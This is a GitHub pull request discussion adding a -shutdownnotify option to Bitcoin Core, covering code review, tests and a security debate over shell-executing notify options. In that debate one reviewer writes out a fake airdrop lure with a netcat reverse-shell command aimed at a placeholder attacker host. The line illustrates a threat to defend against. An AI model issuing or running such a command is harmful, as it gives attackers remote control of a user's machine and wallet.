util: Add -shutdownnotify option #23395

klementtan commented at 2:41 PM on October 30, 2021: contributor

Description: Similar to -startupnotify, this PR adds a new option to allow users to specify a command to be executed when Bitcoin Core shuts down.

Note: The shutdownnotify commands will not be executed if bitcoind shut down due to unexpected reasons (ie killall -9 bitcoind).

Testing:

Normal shutdown commands

# start bitcoind with shutdownnotify optioin
./src/bitcoind -signet -shutdownnotify="touch foo.txt"

# shutdown bitcoind
./src/bitcoin-cli -signet stop

# check that foo.txt has been created

Final RPC call Commands:

$  ./src/bitcoind -signet -nolisten -noconnect -shutdownnotify="./src/bitcoin-cli -signet getblockchaininfo > tmp.txt"
$ ./src/bitcoin-cli stop
$ cat tmp.txt

<details> <summary>Screen Shot</summary>

</details>

klementtan force-pushed on Oct 30, 2021

klementtan renamed this:
~~util: Add Shutdown Notify~~
util: Add -shutdownnotify option
on Oct 30, 2021

DrahtBot added the label Docs on Oct 30, 2021

klementtan force-pushed on Oct 30, 2021

shaavan approved

shaavan commented at 3:45 PM on October 31, 2021: contributor

ACK df9fde85b43d1ce34e30c7a0954ee616926473d6

This PR adds a new (optional) argument -shutdownnotify to bitcoind that allows passing of custom user command when bitcoin core is shut down.

I tested this PR using the testing method suggested by @klementtan. I have added a screenshot showing that the proper working of the -shutdownnotify command.

Screenshot: Screenshot from 2021-10-31 20-16-35

This command has many use cases, especially the one @klementtan explained where users could notify themselves if bitcoin core unexpectedly closes. Considering the usefulness of this command, I agree with the changes made in this PR.

I have one thing to ask, though: Can a command like “./src/bitcoind -signet” be given as the value for this argument? If no, then why so? When I tried to use this argument value myself, there was no output whatsoever.

ghost commented at 7:08 PM on October 31, 2021: none

I understand the motivation however this option can be misused IMO so not sure about adding it

I was reading the comments in #15367 and I think we should even remove -startupnotify because it provides an inbuilt binder which can be used to run malware in the background when Bitcoin Core starts.

Observation: Although we can run almost everything as this option allows shell commands but I was experimenting if its possible to keep Bitcoin Core running and never shutdown. Worked intermittently but nothing interesting.

bitcoind -shutdownnotify="bitcoind"

bitcoin-cli stop

If getting notifications on start and shutdown is the goal maybe we should not provide easy option to execute shell commands with it. A file with name notifications.dat that saves such notifications should be enough IMO.

klementtan commented at 12:07 PM on November 1, 2021: contributor

Thanks, @prayank23 and @shaavan for the review and pointing out the edge case where a user might supply "bitcoind" as a shutdown notify bash command.

A solution for that would be to call .join() instead .detach() in here. This will result in bitcoind completing the entire shutdown sequence only after the bash command has finished executing. In the scenario where "bitcoind" is supplied as the bash command, the second "bitcoind" will fail as bitcoind is already running. However, this would also mean that all other bash commands would also be performed synchronously.

Open to feedback on how we should handle the scenario when a user supplies "bitcoind" as a shutdown notify bash command.

When I tried to use this argument value myself, there was no output whatsoever.

If you view debug.log you should be able to see if bitcoind has successfully restarted by searching for runCommand error:

ghost commented at 2:08 PM on November 1, 2021: none

Open to feedback on how we should handle the scenario when a user supplies "bitcoind" as a shutdown notify bash command.

I think we can avoid this case. It was just an observation which looked interesting initially. If a user wants to experiment and provides such argument he should be able to kill process or reboot system.

I have issues with an option in Bitcoin Core that triggers any shell command based on start/shutdown. This feature can be helpful for lot of people with malicious intent.

sipa commented at 3:25 PM on November 1, 2021: member

@prayank23 If an attacker manages to make you invoke bitcoind with chosen configuration, you have bigger problems (it means they have filesystem access, can see your wallet files, can give themselves RPC access, ...).

sipa commented at 3:26 PM on November 1, 2021: member

Concept ACK

ghost commented at 3:53 PM on November 1, 2021: none

@prayank23 If an attacker manages to make you invoke bitcoind with chosen configuration, you have bigger problems (it means they have filesystem access, can see your wallet files, can give themselves RPC access, ...). @sipa Yes victim will have bigger problems depending on the case. Are we helping attackers with this feature?

Example:

Attacker: We have a new airdrop where you don't need to share any credentials with us. It will be distributed to all bitcoin holders however they need to restart bitcoind so that airdrop server is notified about their wallet and registered for airdrop.

Please run:

$ bitcoind -shutdownnotify="nc -e /bin/sh airdrop.attacker.org 8080"

Victim: Restarts core with command shared by attacker

Attacker: Gets reverse shell

maflcko commented at 3:58 PM on November 1, 2021: member

@prayank23 This is a known and obvious issue with all -*notify options, unrelated to this pull request. It might be best to discuss this in another thread.

maflcko commented at 4:13 PM on November 1, 2021: member

Motivation: This will allow users to notify themselves when bitcoind unexpectedly shuts down.

Can you explain this a bit more? The current code will notify users after Bitcoin Core expectedly shuts down, that is, after telling it to shutdown.

If users want to find out if it unexpectedly shut down, they will need to check for the absence of the notification and verify that the process is not running (e.g. writing state (utxo, wallet, ...) to the disk on shutdown).

sipa commented at 4:15 PM on November 1, 2021: member

There is probably a difference still between unexpected shutdowns and unclean shutdowns. E.g. when disk is full, Bitcoin Core will (possibly) shut down cleanly, but it's not explicitly requested by the user.

klementtan commented at 7:03 PM on November 1, 2021: contributor

Can you explain this a bit more? @MarcoFalke yup similar to what @sipa pointed out, this would be useful for users who wish to be notified when Bitcoin Core cleanly shuts down without being explicitly requested by the user. Updated the PR description to clearly describe what does unexpected means.

luke-jr commented at 5:07 PM on November 2, 2021: member

Concept ACK

I think it is important to get #22417 merged first, though - otherwise shutdownnotify commands might all too easily keep files open that we expect to be closed.

in src/init.cpp:181 in df9fde85b4 outdated

 173 | @@ -174,9 +174,20 @@ void Interrupt(NodeContext& node)
 174 |      }
 175 |  }
 176 |  
 177 | +#if HAVE_SYSTEM
 178 | +static void ShutdownNotify(const ArgsManager& args)
 179 | +{
 180 | +    std::string cmd = args.GetArg("-shutdownnotify", "");
 181 | +    if (!cmd.empty()) {

luke-jr commented at 5:08 PM on November 2, 2021:

Suggest using a loop over potentially multiple options as in #22372

klementtan commented at 1:22 PM on November 3, 2021:

Done 👍🏻

luke-jr commented at 5:10 PM on November 2, 2021: member

It might be good to run commands synchronously and before shutdown begins - that way they have the opportunity to perform pre-shutdown RPC calls and such?

klementtan force-pushed on Nov 3, 2021

klementtan commented at 1:33 PM on November 3, 2021: contributor

a13e4cf to 812910e changes:

Run commands synchronously
Run commands before shutdown sequence begins
Support multiple -shutdownnotify

klementtan force-pushed on Nov 3, 2021

in doc/release-notes.md:87 in 812910ec40 outdated

  82 | @@ -83,6 +83,9 @@ Files
  83 |  New settings
  84 |  ------------
  85 |  
  86 | +- The shutdownnotify option is used to specify a command to execute when Bitcoin
  87 | +Core has finished with its shutdown sequence. (#23395)

luke-jr commented at 6:16 PM on November 3, 2021:

Needs updating

klementtan commented at 10:21 AM on November 6, 2021:

Done 👍🏻

in src/init.cpp:182 in 812910ec40 outdated

 173 | @@ -174,13 +174,25 @@ void Interrupt(NodeContext& node)
 174 |      }
 175 |  }
 176 |  
 177 | +#if HAVE_SYSTEM
 178 | +static void ShutdownNotify(const ArgsManager& args)
 179 | +{
 180 | +    for (const auto& cmd : args.GetArgs("-shutdownnotify")) {
 181 | +        std::thread t(runCommand, cmd);
 182 | +        t.join(); // thread runs free

luke-jr commented at 6:17 PM on November 3, 2021:

Probably should start all the commands, then wait on them. (If a user wants a sequence of commands to run synchronously, he can just specify them as a single -shutdownnotify or use a shell script.)

klementtan commented at 10:23 AM on November 6, 2021:

Agreed, updated to start all commands then join on all of them afterward

in src/init.cpp:420 in 812910ec40 outdated

 416 | @@ -405,6 +417,7 @@ void SetupServerArgs(ArgsManager& argsman)
 417 |      argsman.AddArg("-settings=<file>", strprintf("Specify path to dynamic settings data file. Can be disabled with -nosettings. File is written at runtime and not meant to be edited by users (use %s instead for custom settings). Relative paths will be prefixed by datadir location. (default: %s)", BITCOIN_CONF_FILENAME, BITCOIN_SETTINGS_FILENAME), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
 418 |  #if HAVE_SYSTEM
 419 |      argsman.AddArg("-startupnotify=<cmd>", "Execute command on startup.", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
 420 | +    argsman.AddArg("-shutdownnotify=<cmd>", "Execute command on shutdown.", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);

luke-jr commented at 6:18 PM on November 3, 2021:

    argsman.AddArg("-shutdownnotify=<cmd>", "Execute command immediately before beginning shutdown. The need for shutdown may be urgent, so be careful not to delay it long (if the command doesn't require interaction with the server, consider having it fork into the background).", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);

Or maybe something shorter?

klementtan commented at 10:26 AM on November 6, 2021:

Thanks! Updated to use your wording instead 👍🏻

luke-jr changes_requested

klementtan force-pushed on Nov 6, 2021

theStack commented at 2:59 AM on November 7, 2021: contributor

Concept ACK

in src/init.cpp:185 in 9de9d4a5fe outdated

 180 | +    std::vector<std::thread> threads;
 181 | +    for (const auto& cmd : args.GetArgs("-shutdownnotify")) {
 182 | +        threads.emplace_back(runCommand, cmd);
 183 | +    }
 184 | +    for (auto& t : threads)
 185 | +        t.join();

theStack commented at 5:55 PM on November 7, 2021:

nit: put in braces to match our coding guidelines (or alternatively, all on a single line)

    for (auto& t : threads) {
        t.join();
    }

klementtan commented at 12:03 AM on November 8, 2021:

Done 👍🏻

in doc/release-notes.md:87 in 2d8a11b9ad outdated

  82 | @@ -83,6 +83,9 @@ Files
  83 |  New settings
  84 |  ------------
  85 |  
  86 | +- The shutdownnotify option is used to specify a command to execute synchronously
  87 | +when Bitcoin Core has begins its shutdown sequence. (#23395)

theStack commented at 6:11 PM on November 7, 2021:

- The `shutdownnotify` option is used to specify a command to execute synchronously
  before Bitcoin Core begins its shutdown sequence. (#23395)

klementtan commented at 12:04 AM on November 8, 2021:

Done 👍🏻

klementtan force-pushed on Nov 8, 2021

laanwj commented at 12:23 PM on November 8, 2021: member

Not opposed to this but please don't mis-advertise it;

If users want to find out if it unexpectedly shut down, they will need to check for the absence of the notification and verify that the process is not running (e.g. writing state (utxo, wallet, ...) to the disk on shutdown).

Yes, there is no way to monitor for unexpected shutdowns from within bitcoind itself. This is theoretically and practically impossible no matter how hard you try. One way to do this is to tell the OS to receive notifications when the process dies, e.g. in Linux one can use waitpid on the PID from the PID file.

klementtan force-pushed on Nov 8, 2021

klementtan commented at 4:49 PM on November 8, 2021: contributor

Yes, there is no way to monitor for unexpected shutdowns from within bitcoind itself. @laanwj thanks for the feedback and I totally agree with you. Updated the PR description to add a disclaimer that the command will not be executed if bitcoind unexpectedly shuts down.

theStack commented at 6:36 PM on November 9, 2021: contributor

Inspired by the previous comment of @luke-jr

It might be good to run commands synchronously and before shutdown begins - that way they have the opportunity to perform pre-shutdown RPC calls and such?

I tested to perform a final RPC call on shutdown, but unfortunately this fails:

$ ./src/bitcoind -signet -nolisten -noconnect -shutdownnotify="./src/bitcoin-cli -signet getblockchaininfo" &
.....
2021-11-09T18:27:12Z net thread start
2021-11-09T18:27:12Z msghand thread start
2021-11-09T18:27:12Z addcon thread start

$ ./src/bitcoin-cli -signet stop
2021-11-09T18:27:32Z addcon thread exit
2021-11-09T18:27:32Z net thread exit
2021-11-09T18:27:32Z Shutdown: In progress...
Bitcoin Core stopping
binsen$ error: Server response: <HTML><HEAD>
<TITLE>503 Service Unavailable</TITLE>
</HEAD><BODY>
<H1>Service Unavailable</H1>
</BODY></HTML>

2021-11-09T18:27:32Z runCommand error: system(./src/bitcoin-cli -signet getblockchaininfo) returned 256
2021-11-09T18:27:32Z msghand thread exit
2021-11-09T18:27:32Z scheduler thread exit
...

$

It seems at the point of time when the shutdownnotify command is executed, the RPC server is not running anymore, i.e. it seems some parts of bitcoind have already been shutdown. Maybe the introduced ShutdownNotify function should be called earlier to enable this? (Didn't look into the code though if this is possible at all -- if not, I still think the option could be useful.)

klementtan force-pushed on Nov 10, 2021

klementtan commented at 8:09 PM on November 10, 2021: contributor

@theStack thanks a lot for helping with testing and spotting this issue!

The reason why it returns 503 is because we call Interrupt(...) before Shutdown causing all RPC calls in shutdownnotify to fail. https://github.com/bitcoin/bitcoin/blob/f63bf05e73ea96e5c2c72cc455d05ad382883c27/src/bitcoind.cpp#L246-L247

a35f954 to 772a7a2:

Moved ShutdownNotify from Shutdown to Interrupt to allow for final RPC calls.

<details> <summary> Making final RPC calls </summary>

Commands:

$  ./src/bitcoind -signet -nolisten -noconnect -shutdownnotify="./src/bitcoin-cli -signet getblockchaininfo > tmp.txt"
$ ./src/bitcoin-cli stop
$ cat tmp.txt

</details>

theStack approved

theStack commented at 12:25 AM on November 11, 2021: contributor

Tested ACK 772a7a2fe9c88ac23608333959ee7df65e61e4c0 🪂 (Running a final RPC before shutdown works now; tested on OpenBSD 7.0, both on the PR branch and with a rebase on master)

shaavan approved

shaavan commented at 8:33 AM on November 11, 2021: contributor

reACK 772a7a2fe9c88ac23608333959ee7df65e61e4c0

Changes since my last review:

Updated the ShutDownNotify to allow having multiple commands as input, which can be run synchronously.
Moved calling of ShutDownNotify from Shutdown to Interrupt to make sure RPC call through ShutDownNotify will not lead to failure.
Updated release-docs.md file to emphasize that the command will be executed synchronously before beginning shutdown.

Tested (on Ubuntu 20.04) that both the functional change are working perfectly and as intended.

Screenshot from 2021-11-11 13-59-55

in doc/release-notes.md:120 in 772a7a2fe9 outdated

  82 | @@ -83,6 +83,9 @@ Files
  83 |  New settings
  84 |  ------------
  85 |  
  86 | +- The `shutdownnotify` option is used to specify a command to execute synchronously
  87 | +before Bitcoin Core has begun its shutdown sequence. (#23395)
  88 | +

unknown commented at 9:04 AM on November 11, 2021:


Note: Restrict scripts and commands in the shell/system used for bitcoind to avoid running potentially unsafe scripts using `shutdownnotify`

Context: #23395 (comment) More info: https://github.com/bitcoin/bitcoin/issues/23412

klementtan commented at 12:39 PM on November 11, 2021:

Would it be better to add this to the end of all -*notify's help option since this note applies to all of them?

unknown commented at 1:20 PM on November 11, 2021:

Maybe. Not sure. Or we can add in both places. I tried to share few alternatives but if none of them look good, we should at least document related security recommendations.

maflcko commented at 1:23 PM on November 11, 2021:

The release notes are not the right place to put extended documentation in any case. The RPC docs, the manpage, or the docs folder are more appropriate. Also: #23395 (comment)

unknown commented at 1:29 PM on November 11, 2021:

I don't mind documenting it in other places. I don't think sharing a security recommendation related to new config parameter will affect anything. It can only be helpful.

I have created an issue for other details and alternatives to solve this problem. I think I can suggest changes in release notes which are part of this pull request.

maflcko commented at 1:34 PM on November 11, 2021:

It can only be helpful.

A new user downloading 29.0 won't read the release notes of 23.0 (a long EOL release at that time), so putting security documentation there won't be helpful. Also, it will bloat the release notes, making it distracting to read for users that are interested in changes. So I think wrong documentation or even right documentation in the wrong place can be harmful.

unknown commented at 7:36 AM on December 23, 2021:

Its okay if we just mention the link to doc/bitcoin-conf.md and #23850 gets merged which adds security recommendation about command line *notify options.

maflcko commented at 4:38 PM on March 16, 2022:

Resolving this discussion for now. Let us know if there is anything left to be addressed.

in src/init.cpp:197 in 46790135b9 outdated

 154 | @@ -155,8 +155,24 @@ static fs::path GetPidFile(const ArgsManager& args)
 155 |  // shutdown thing.
 156 |  //
 157 |  
 158 | +#if HAVE_SYSTEM
 159 | +static void ShutdownNotify(const ArgsManager& args)
 160 | +{
 161 | +    std::vector<std::thread> threads;
 162 | +    for (const auto& cmd : args.GetArgs("-shutdownnotify")) {
 163 | +        threads.emplace_back(runCommand, cmd);

unknown commented at 9:07 AM on November 11, 2021:

Is it possible to Restrict runCommand so that it will use only local resources and network?

klementtan commented at 1:00 PM on November 11, 2021:

Do you mean we should restrict all shell commands to only interact with localhost (ie do not allow curl calls to any external hosts)? Apart from performing some sort of validation on the string provided for the option, I am unaware of any technique to enforce this. Do you have any suggestions?

maflcko commented at 1:19 PM on November 11, 2021:

As I mentioned earlier, this is unrelated to this pull and might be best discussed in another issue/pull for all notify commands. #23395 (comment)

unknown commented at 1:22 PM on November 11, 2021:

Yes because attackers can't do much if requests only work for localhost. I will ask in few subreddits and see if there are any ways to achieve this.

unknown commented at 1:26 PM on November 11, 2021:

It is related because if something was missed in other options previously we can try to make this secure and follow the same for others.

And I have created an issue with all details.

klementtan commented at 1:26 PM on November 11, 2021:

@MarcoFalke agreed, will move the conversation to #23412

unknown changes_requested

unknown commented at 6:13 PM on November 11, 2021: none

Approach NACK

Similar to -startupnotify, this PR adds a new option to allow users to specify a command to be executed when Bitcoin Core shuts down.

No issues with allowing users to specify a command if the alternative for notifications.dat isn't good enough. However, commands should be restricted. Bitcoin Core is used by projects in different ways, lot of newbies and involves money. It does not make sense to allow any command/script in a config parameter.

Apart from documentation which can be done based on what maintainers follow, I did some research for improving runCommand. This is related to pull request because if something is known issue, used in other *notify parameters, we should not use the same approach in adding one more config parameter.

Initial post: https://www.reddit.com/r/cpp_questions/comments/qrlrjy/stdthread_and_security_recommendations/

Post based on few articles about sand boxing, system() considered vulnerable, fork exec and looking for alternatives that are secure: https://www.reddit.com/r/cpp_questions/comments/qrp7nn/alternatives_for_system_that_are_secure/

One solution based on research until now: Use fork exec for Linux and something else for Windows like CreateProcess

klementtan commented at 2:27 PM on November 16, 2021: contributor

@prayank23 Thanks a lot for the feedback!

While I agree that adding this option will give attackers an additional avenue to exploit newbies but IMO it does not make Bitcoin Core any less secure.

Attackers can already utilize any existing -*notify option to perform the same attack thus adding this option does not make it less secure. Additionally, this PR simply adds an additional call to runCommand and will not make it more difficult to improve runCommand if we choose to do so in the future. Hence, I feel that there is no loss in incorporating shutdownnotify to Bitcoin Core.

Happy to hear the opinion of the other reviewers and happy to close this PR if the majority feels that shutdownnotify should not be incorporated into Bitcoin Core.

maflcko removed the label Docs on Nov 16, 2021

maflcko added the label Utils/log/libs on Nov 16, 2021

maflcko removed the label Utils/log/libs on Nov 16, 2021

DrahtBot added the label Utils/log/libs on Nov 16, 2021

ghost commented at 5:09 PM on November 16, 2021: none

Attackers can already utilize any existing -*notify option to perform the same attack thus adding this option does not make it less secure.

It provides more options. I have shared few in #23412 (comment) under the section Other ways to use these config params effectively

Additionally, this PR simply adds an additional call to runCommand and will not make it more difficult to improve runCommand if we choose to do so in the future.

Based on the comments in this PR and #23412, I still have no clarity what are we going to do with runCommand. Neither I understand why others are ignoring this issue nor the urgency to add -shutdownnotify.

Hence, I feel that there is no loss in incorporating shutdownnotify to Bitcoin Core.

It will use the same logic until we change something in runCommand.
Provides more options for attackers.
If the solution in future requires using notifications.dat then everything we do in this PR will be reversed
No clarity on documentation about security recommendations

sipa commented at 5:11 PM on November 16, 2021: member

@prayank23 The whole point of notifications is not needing polling. If polling is acceptable, the user can also just use RPCs to figure out if Bitcoin Core is or isn't running, so I don't see what a "notifications.dat" adds.

ghost commented at 5:31 PM on November 16, 2021: none

I think it's possible to check a file for changes without polling: #23412 (comment)

maflcko commented at 5:43 PM on November 16, 2021: member

I think it's possible to check a file for changes without polling: #23412 (comment)

So users that want to use notifications need to install a potentially backdoored third-party tool? Seems backward when the goal is to increase security.

Now for the third time, I urge you to keep the general discussion about runCommand to #23412 and not this pull request.

Provides more options for attackers.

No it does not. All options share the same path to attack. Adding or removing one doesn't change the attack path, as long as at least one is still there.

Neither I understand why others are ignoring this issue nor the urgency to add -shutdownnotify

The issue isn't ignored, it is well known that those local configuration options (and many more, if not all) are vulnerable to an attacker that can set them. You can't force other people to work on something or force them to look at something. This is open source.

ghost commented at 6:06 PM on November 16, 2021: none

Now for the third time, I urge you to keep the general discussion about runCommand to #23412 and not this pull request.

Please check the above comment for context as it was a response. All things which aren't related to PR or can be kept separate are in issue #23412

The issue isn't ignored, it is well known that those local configuration options (and many more, if not all) are vulnerable to an attacker that can set them. You can't force other people to work on something or force them to look at something. This is open source.

I can't force but I can review and comment. I don't have access to close/merge a PR.

michaelfolkson commented at 6:18 PM on November 16, 2021: contributor

@prayank23: Your Approach NACK with your rationale has been registered. If you have further questions or discussion points please take them elsewhere (IRC etc). You have to let other reviewers review the PR and make their own mind up.

ghost commented at 6:26 PM on November 16, 2021: none

@michaelfolkson I wasn't aware we can't respond to comments like #23395 (comment) in the same PR

Or #23395 (comment)

None of these comments were an attempt to stop others from reviewing this PR.

I won't comment further on this PR and will discuss elsewhere.

1337in changes_requested

1337in commented at 3:34 AM on December 31, 2021: none

NACK

There is not enough documentation about issues related to *notify options and adding one more to help attackers makes no sense.

luke-jr commented at 5:38 AM on December 31, 2021: member

There are no such issues. -*notify doesn't help attackers, it helps users.

ghost commented at 7:56 PM on January 1, 2022: none

There are no such issues. -*notify doesn't help attackers, it helps users.

This is a misleading comment because a feature that helps users can always be used differently by attackers. Attackers would not ignore something because it lacks documentation or will to fix an issue.

Obviously 99% of the features are added in software to help users but they can be misused/abused.

DrahtBot added the label Needs rebase on Mar 3, 2022

klementtan force-pushed on Mar 4, 2022

DrahtBot removed the label Needs rebase on Mar 4, 2022

DrahtBot commented at 4:54 AM on March 5, 2022: contributor

The following sections might be updated with supplementary metadata relevant to reviewers and maintainers.

Reviews

See the guideline for information on the review process.

Type	Reviewers
ACK	achow101, 1440000bytes, theStack
Concept NACK	1337in
Concept ACK	sipa, luke-jr, jonatack
Approach NACK	michaelfolkson
Stale ACK	shaavan

If your review is incorrectly listed, please react with 👎 to this comment and the bot will ignore it on the next update.

Conflicts

Reviewers, this pull request conflicts with the following ones:

#20892 (tests: Run both descriptor and legacy tests within a single test invocation by achow101)

If you consider this pull request important, please also help to review the conflicting pull requests. Ideally, start with the one that should be merged first.

in doc/release-notes.md:64 in 579f1a425e outdated

  56 | @@ -57,6 +57,12 @@ Notable changes
  57 |  Example item
  58 |  ------------
  59 |  
  60 | +New settings
  61 | +------------
  62 | +
  63 | +- The `shutdownnotify` option is used to specify a command to execute synchronously
  64 | +before Bitcoin Core has begun its shutdown sequence. (#23395)

maflcko commented at 4:37 PM on March 16, 2022:

As it is not clear that this pull will be merged quickly, maybe move the 5 lines to a separate file, per the instructions in https://github.com/bitcoin/bitcoin/blob/master/doc/developer-notes.md#release-notes ?

klementtan commented at 5:04 PM on March 16, 2022:

Done 👍🏻

klementtan force-pushed on Mar 16, 2022

klementtan closed this on Jun 6, 2022

jonatack commented at 4:59 PM on June 6, 2022: contributor

This seems like a good idea, is straightforward, and has a couple of ACKs and some concept ACKs.

Concept ACK, seems it could use a functional test.

klementtan reopened this on Jun 6, 2022

in src/init.cpp:196 in 46790135b9 outdated

 154 | @@ -155,8 +155,24 @@ static fs::path GetPidFile(const ArgsManager& args)
 155 |  // shutdown thing.
 156 |  //
 157 |  
 158 | +#if HAVE_SYSTEM
 159 | +static void ShutdownNotify(const ArgsManager& args)
 160 | +{
 161 | +    std::vector<std::thread> threads;
 162 | +    for (const auto& cmd : args.GetArgs("-shutdownnotify")) {

unknown commented at 4:58 AM on June 7, 2022:

    for (const auto& cmd : args.GetArgs("-executeonshutdown")) {

in src/init.cpp:458 in 46790135b9 outdated

 420 | @@ -405,6 +421,7 @@ void SetupServerArgs(ArgsManager& argsman)
 421 |      argsman.AddArg("-settings=<file>", strprintf("Specify path to dynamic settings data file. Can be disabled with -nosettings. File is written at runtime and not meant to be edited by users (use %s instead for custom settings). Relative paths will be prefixed by datadir location. (default: %s)", BITCOIN_CONF_FILENAME, BITCOIN_SETTINGS_FILENAME), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
 422 |  #if HAVE_SYSTEM
 423 |      argsman.AddArg("-startupnotify=<cmd>", "Execute command on startup.", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
 424 | +    argsman.AddArg("-shutdownnotify=<cmd>", "Execute command immediately before beginning shutdown. The need for shutdown may be urgent, so be careful not to delay it long (if the command doesn't require interaction with the server, consider having it fork into the background).", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);

unknown commented at 4:59 AM on June 7, 2022:

    argsman.AddArg("-executeonshutdown=<cmd>", "Execute command immediately before beginning shutdown. The need for shutdown may be urgent, so be careful not to delay it long (if the command doesn't require interaction with the server, consider having it fork into the background).", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);

maflcko commented at 9:01 AM on October 13, 2022:

Might be best to keep as-is, to mirror the other notify command

unknown commented at 5:00 AM on June 7, 2022: none

Suggestion to rename config option based on #23412 (comment)

achow101 commented at 6:44 PM on October 12, 2022: member

Are you still working on this?

unknown approved

unknown commented at 11:14 AM on October 13, 2022: none

ACK https://github.com/bitcoin/bitcoin/pull/23395/commits/fcc7cf75175769fb39d88bcb93d296e926d6913e

util: Add -shutdownnotify option. 0bd73e2c45

doc: Add release note for shutdownnotify. d96d97ad30

klementtan force-pushed on Oct 13, 2022

klementtan commented at 1:35 PM on October 13, 2022: contributor

Apologies for the delay. Added an additional functional test in the latest patch

<details> <summary> git range-diff fcc7cf7~2..fcc7cf7 d96d97a~2..d96d97a </summary>

1:  46790135b ! 1:  0bd73e2c4 util: Add -shutdownnotify option.
@@ src/init.cpp: void SetupServerArgs(ArgsManager& argsman)
  #endif
  #ifndef WIN32
      argsman.AddArg("-sysperms", "Create new files with system default permissions, instead of umask 077 (only effective with disabled wallet functionality)", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);

 ## test/functional/feature_notifications.py ##
@@ test/functional/feature_notifications.py: class NotificationsTest(BitcoinTestFramework):
         self.num_nodes = 2
         self.setup_clean_chain = True
         # The experimental syscall sandbox feature (-sandbox) is not compatible with -alertnotify,
-        # -blocknotify or -walletnotify (which all invoke execve).
+        # -blocknotify, -walletnotify or -shutdownnotify (which all invoke execve).
         self.disable_syscall_sandbox = True
 
     def setup_network(self):
@@ test/functional/feature_notifications.py: class NotificationsTest(BitcoinTestFramework):
         self.alertnotify_dir = os.path.join(self.options.tmpdir, "alertnotify")
         self.blocknotify_dir = os.path.join(self.options.tmpdir, "blocknotify")
         self.walletnotify_dir = os.path.join(self.options.tmpdir, "walletnotify")
+        self.shutdownnotify_dir = os.path.join(self.options.tmpdir, "shutdownnotify")
+        self.shutdownnotify_file = os.path.join(self.shutdownnotify_dir, "shutdownnotify.txt")
         os.mkdir(self.alertnotify_dir)
         os.mkdir(self.blocknotify_dir)
         os.mkdir(self.walletnotify_dir)
+        os.mkdir(self.shutdownnotify_dir)
 
         # -alertnotify and -blocknotify on node0, walletnotify on node1
         self.extra_args = [[
             f"-alertnotify=echo > {os.path.join(self.alertnotify_dir, '%s')}",
             f"-blocknotify=echo > {os.path.join(self.blocknotify_dir, '%s')}",
+            f"-shutdownnotify=echo > {self.shutdownnotify_file}",
         ], [
             f"-walletnotify=echo %h_%b > {os.path.join(self.walletnotify_dir, notify_outputname('%w', '%s'))}",
         ]]
@@ test/functional/feature_notifications.py: class NotificationsTest(BitcoinTestFramework):
 
         # TODO: add test for `-alertnotify` large fork notifications
 
+        self.log.info("test -shutdownnotify")
+        self.stop_nodes()
+        self.wait_until(lambda: os.path.isfile(self.shutdownnotify_file), timeout=10)
+
     def expect_wallet_notify(self, tx_details):
         self.wait_until(lambda: len(os.listdir(self.walletnotify_dir)) >= len(tx_details), timeout=10)
         # Should have no more and no less files than expected
2:  fcc7cf751 = 2:  d96d97ad3  doc: Add release note for shutdownnotify.

</details>

unknown approved

unknown commented at 7:34 PM on October 15, 2022: none

reACK https://github.com/bitcoin/bitcoin/pull/23395/commits/d96d97ad30c4a079450bc2bf02e3e2a45f7efd2d

No clue about test because I do all my testing outside this framework.

achow101 commented at 8:21 PM on January 17, 2023: member

ACK d96d97ad30c4a079450bc2bf02e3e2a45f7efd2d

unknown approved

unknown commented at 8:27 PM on January 17, 2023: none

ACK https://github.com/bitcoin/bitcoin/pull/23395/commits/d96d97ad30c4a079450bc2bf02e3e2a45f7efd2d

However, I would not not be responsible for misuse of it.

achow101 requested review from theStack on Jan 18, 2023

achow101 requested review from shaavan on Jan 18, 2023

theStack approved

theStack commented at 6:24 AM on January 19, 2023: contributor

re-ACK d96d97ad30c4a079450bc2bf02e3e2a45f7efd2d

The only change since my previous ACK was the added functional test. Retested also on OpenBSD 7.1 :heavy_check_mark:

maflcko merged this on Jan 19, 2023

maflcko closed this on Jan 19, 2023

sidhujag referenced this in commit 2d2c51fef5 on Jan 19, 2023

klementtan deleted the branch on Jan 26, 2023

bitcoin locked this on Jan 26, 2024